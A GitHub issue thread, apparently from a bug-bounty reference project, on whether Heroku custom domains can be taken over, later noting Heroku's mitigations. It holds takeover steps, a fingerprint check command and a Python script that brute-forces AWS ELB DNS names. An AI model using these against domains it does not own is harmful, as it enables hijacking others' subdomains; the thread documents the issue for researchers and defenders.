Heroku proofs #38

PatrikHudak · 2018-09-12T20:50:51Z

Service name

Heroku

Proof

Heroku has same virtual hosting concept as other cloud providers. Various *.herokudns.com subdomain respond with the same set of A records. HTTP Host matters for correct domain resolution (as in other providers). There is also an possibility to upload own certificate in order to work on custom domain as well (e.g. GitHub Pages doesn't support this and thus you cannot have HTTPS enabled with custom domain set).

Step-by-step:

Open new Heroku app.
Choose name and region (no effect on takeover).
Push PoC application using git to Heroku. The process is described in Deploy tab.
Switch to Settings tab.
Scroll to Domains and certificates.
Click Add domain.
Provide the domain name you want to takeover, click Save changes.
It might take some time for settings to propagate.

To verify:

http -b GET http://{DOMAIN NAME} | grep -F -q "//www.herokucdn.com/error-pages/no-such-app.html" && echo "Subdomain takeover may be possible" || echo "Subdomain takeover is not possible"

(there is an iFrame with aforementioned URL present)

Documentation

There are three domains that Heroku uses:

*.herokudns.com
*.herokuapp.com
*.herokussl.com

At the moment, I can confirm only proper working on herokudns.com. IIRC, herokuapp.com is a domain that was used prior and is now deprecated, however old DNS records still work. I would like to hear more in comments from somebody who has experience with the remaining two.

The text was updated successfully, but these errors were encountered:

PatrikHudak · 2018-09-15T19:03:49Z

Official Heroku docs: https://devcenter.heroku.com/articles/custom-domains

mshassy · 2018-10-18T17:32:28Z

Can someone clarify with *.herokudns.com right now? When I add a custom domain the DNS record is fully randomized. Something like larval-beet.y987yas98yd98ya9yhd.herokudns.com
It used to be www.domain.com.herokudns.com like 2 days ago
@PatrikHudak @EdOverflow

dropocol · 2018-10-18T18:43:19Z

@mshassy it is randomized now. Just confirmed it.

mshassy · 2018-10-18T18:50:06Z

@dropocol Thanks a lot for the clarification. I was soo lucky to do a takeover two days. Just found another one and BAM! they have put mitigations. Good move by Heroku anyway.

dropocol · 2018-10-18T18:54:14Z

@mshassy Correct me if I am wrong but this means that the domain takeovers aren't possible any more?

mshassy · 2018-10-18T18:57:33Z

@dropocol Technically you still can. If the domain admin decides to use *.herokuapp.com which is not randomized yet. But both *.herokudns.com and *.herokussl.com are not vulnerable.

codingo · 2018-10-18T23:18:32Z

@mshassy What's the extent of this randomisation? These can often be defeated with a python script if the randomisation is somewhat predictable / basic (Amazon ELB's being a good example of this).

mshassy · 2018-10-19T11:14:06Z

@codingo
oncave-bastion-olhqn7oqox74kixnwxpsyxkv.herokudns.com
introductory-chimpanzee-vpgvjaxri1ntnuoda6f03jqy.herokudns.com
fundamental-meerkat-dzdijagwzkou8z2ansfnmpsk.herokudns.com

3 back to back instances where I tried to add the same domain.
Now it's fully randomized as you can see. I'm not sure whether it's possible to brute force such.

But it's strange that there is no info in their documentation about such change.
https://devcenter.heroku.com/articles/custom-domains
https://help.heroku.com/VKRNVVF5/what-is-the-correct-dns-cname-target-for-my-custom-domains

Btw this is off topic but I would be glad if you could tell us more about the ELB brute forcing. Does it mean that ELB takeovers are possible? I'm not too sure about this statement.

staaldraad · 2018-10-30T19:47:40Z

The change was activated on the 16th of October and recorded in the Heroku changelog: https://devcenter.heroku.com/changelog-items/1488

The devcenter documentation has not been updated yet, but should be before too long.

bluedangerforyou · 2018-11-11T00:57:24Z

If the company uses wild card ".domain.com then you cannot take it over because they "claim" all subdomains

sagi · 2018-11-21T23:25:24Z

@codingo can you please elaborate more about Amazon's ELB's cnames are appended a somewhat predictable integer? My trials with AWS's Load Balancer API seem to indicate uniformly distributed values.

codingo · 2018-11-22T03:21:30Z

@sagi these now look to be patched but for a period of time you could brute force them. Example PoC from when it was working below:

import boto3
import argparse
import time
client = boto3.client('elb', 'eu-central-1')



def takeover(elb,dns,flag):
    while (flag):
        time.sleep(2)
        response = client.create_load_balancer(
            Listeners=[
            {
                'InstancePort': 80,
                'InstanceProtocol': 'HTTP',
                'LoadBalancerPort': 80,
                'Protocol': 'HTTP',
            },
            ],
            LoadBalancerName=elb,
            SecurityGroups=[
               'sg-ead50686',
            ],
            Subnets=[
               'subnet-e7a9559c',
            ],
            )

        print(response['DNSName'])
        if response['DNSName'] == dns :
            flag=0
            print "DOMAIN TAKEN OVER"
            exit (0)
        else:
            response = client.delete_load_balancer(
                 LoadBalancerName=elb
               )


def main():
    parser = argparse.ArgumentParser(description='This script is for taking over ELB-SUBDOMAINS specifically eu-central-1')
    parser.add_argument('-elb', '--load_balancer', required=True)
    parser.add_argument('-dns', '--domain_name', required=True)
    args = parser.parse_args()
    takeover(args.load_balancer, args.domain_name,1)


if __name__ == '__main__':
    main()

Happy to elaborate further if you DM me on twitter.

sagi · 2018-11-22T10:38:32Z

@codingo Thanks!

itachi73 · 2019-01-31T15:16:10Z

Do you have any idea how to takeover subdomain with the following records
Status : NXDOMAIN
CNAME : something.herokussl.com ?

m7mdharoun · 2019-04-17T23:36:38Z

More Prove about Edge case you can find it on my blog
https://www.mohamedharon.com/2019/04/herokudns-still-vulnerable.html

Vaghasiyayash · 2019-05-13T08:00:24Z

CC is required to added customer domain :/

ali0818 · 2019-09-16T19:48:57Z

Herokudns is not vulnerable anymore, the mentioned edge cases are also not working.

dipeshdk · 2020-05-08T08:57:25Z

@rootkech can you please elaborate a little why it is not vulnerable any more?
Also, have you checked all the heroku domains? herokuapp.com, herokudns.com and herokussl.com

adityathebe · 2020-05-08T13:17:53Z

@rootkech can you please elaborate a little why it is not vulnerable any more?
Also, have you checked all the heroku domains? herokuapp.com, herokudns.com and herokussl.com

You don't have the option to choose custom subdomains anymore with herokudns.com

Anon-Exploiter · 2020-06-13T18:07:17Z

Adding to the post^, this only works with domains and not subdomains.

-Open to corrections.

ethrx · 2021-03-05T21:38:30Z

@yassinek3ch more info? what are you trying to say

sasky621 · 2021-07-12T09:54:20Z

I actually was able to takeover a subdomain, and it actually works on heroku but to be able to add a custom domain or subdomain you need to verify your account first by a card(e.g., visa, master card, etc), it didn't take any money from me, i think there is a free amount per month if you exceeded it you have to pay, i think you can use the free plan until you submit your POC then you can remove your card details, but if you need to register the same card details again for another POC later on, you will need to wait for a while until you could be able to register it again.

Oumeir · 2021-08-20T02:14:32Z

Heroku is not vulnerable any more :(

https://devcenter.heroku.com/articles/error-codes#h31-misdirected-request

H31 - Misdirected Request
The client sent a request to the wrong endpoint. This could be because the client used stale DNS information or is accessing the app through a CDN that has stale DNS information. Verify that DNS is correctly configured for your app. If a CDN is configured for the app, consider contacting your CDN provider.

teslatheg0d · 2021-09-07T11:19:30Z

Heroku is not vulnerable

Edge Case Only

itsbriany · 2022-01-25T01:04:06Z

It looks like *.herokuapp.com is not vulnerable anymore.

The scenario:

dig -t CNAME x.vulnerable.com

[...]

;; ANSWER SECTION:
x.vulnerable.com. 142 IN  CNAME   x.vulnerable.herokuapp.com.

I took over x.vulnerable.herokuapp.com. However, when navigating to x.vulnerable.com, the HTTP Host header would be set to x.vulnerable.com. Heroku would then route to request to the Application Error page. However, when sending the request with the HTTP Host header set to x.vulnerable.herokuapp.com, Heroku successfully re-routed the request to my app. Both requests were sent to x.vulnerable.com.

For this case, I believe you need to have the root domain certificate associated with *.vulnerableapp.com to make Heroku successfully route the request which the attacker would not have access to.

You can read more here in the Heroku documentation.

abusabiha · 2023-02-03T10:37:17Z

What is the solution next?
Plz help me.

The subdomain is under herokuspace.com

bunny0417 · 2023-07-25T03:36:09Z

https://medium.com/@neverl0gbughunt/how-i-found-subdomain-takeover-on-red-bull-57540158a18

waelahmed-dev · 2023-08-26T14:05:32Z

Is it still vulnerable after this update?

zy9ard3 · 2023-10-11T13:56:07Z

It seems Heroku turns out Non Vulnerable for takeovers anymore

Reference : https://devcenter.heroku.com/changelog-items/2640

EdOverflow added the vulnerable Someone has provided proof in the issue ticket that one can hijack subdomains on this service. label Sep 13, 2018

EdOverflow added edge case An edge case was discovered where it is possible to hijack a subdomain on this service. and removed vulnerable Someone has provided proof in the issue ticket that one can hijack subdomains on this service. labels Dec 10, 2018

BBerastegui mentioned this issue Feb 19, 2019

Heroku fingerprint gives false positives haccer/subjack#32

Open

dwisiswant0 mentioned this issue Jul 6, 2020

Heroku-takeover.yaml projectdiscovery/nuclei-templates#201

Closed

Heroku proofs #38

Heroku proofs #38

PatrikHudak commented Sep 12, 2018

PatrikHudak commented Sep 15, 2018

mshassy commented Oct 18, 2018 •

edited

dropocol commented Oct 18, 2018

mshassy commented Oct 18, 2018 •

edited

dropocol commented Oct 18, 2018

mshassy commented Oct 18, 2018

codingo commented Oct 18, 2018

mshassy commented Oct 19, 2018 •

edited

staaldraad commented Oct 30, 2018

bluedangerforyou commented Nov 11, 2018

sagi commented Nov 21, 2018 •

edited

codingo commented Nov 22, 2018

sagi commented Nov 22, 2018

itachi73 commented Jan 31, 2019

m7mdharoun commented Apr 17, 2019

Vaghasiyayash commented May 13, 2019

ali0818 commented Sep 16, 2019

dipeshdk commented May 8, 2020 •

edited

adityathebe commented May 8, 2020

Anon-Exploiter commented Jun 13, 2020 •

edited

ethrx commented Mar 5, 2021

sasky621 commented Jul 12, 2021

Oumeir commented Aug 20, 2021

teslatheg0d commented Sep 7, 2021

itsbriany commented Jan 25, 2022

abusabiha commented Feb 3, 2023

bunny0417 commented Jul 25, 2023

waelahmed-dev commented Aug 26, 2023 •

edited

zy9ard3 commented Oct 11, 2023 •

edited

Heroku proofs #38

Heroku proofs #38

Comments

PatrikHudak commented Sep 12, 2018

Service name

Proof

Documentation

PatrikHudak commented Sep 15, 2018

mshassy commented Oct 18, 2018 • edited

dropocol commented Oct 18, 2018

mshassy commented Oct 18, 2018 • edited

dropocol commented Oct 18, 2018

mshassy commented Oct 18, 2018

codingo commented Oct 18, 2018

mshassy commented Oct 19, 2018 • edited

staaldraad commented Oct 30, 2018

bluedangerforyou commented Nov 11, 2018

sagi commented Nov 21, 2018 • edited

codingo commented Nov 22, 2018

sagi commented Nov 22, 2018

itachi73 commented Jan 31, 2019

m7mdharoun commented Apr 17, 2019

Vaghasiyayash commented May 13, 2019

ali0818 commented Sep 16, 2019

dipeshdk commented May 8, 2020 • edited

adityathebe commented May 8, 2020

Anon-Exploiter commented Jun 13, 2020 • edited

ethrx commented Mar 5, 2021

sasky621 commented Jul 12, 2021

Oumeir commented Aug 20, 2021

teslatheg0d commented Sep 7, 2021

itsbriany commented Jan 25, 2022

abusabiha commented Feb 3, 2023

bunny0417 commented Jul 25, 2023

waelahmed-dev commented Aug 26, 2023 • edited

zy9ard3 commented Oct 11, 2023 • edited

mshassy commented Oct 18, 2018 •

edited

mshassy commented Oct 18, 2018 •

edited

mshassy commented Oct 19, 2018 •

edited

sagi commented Nov 21, 2018 •

edited

dipeshdk commented May 8, 2020 •

edited

Anon-Exploiter commented Jun 13, 2020 •

edited

waelahmed-dev commented Aug 26, 2023 •

edited

zy9ard3 commented Oct 11, 2023 •

edited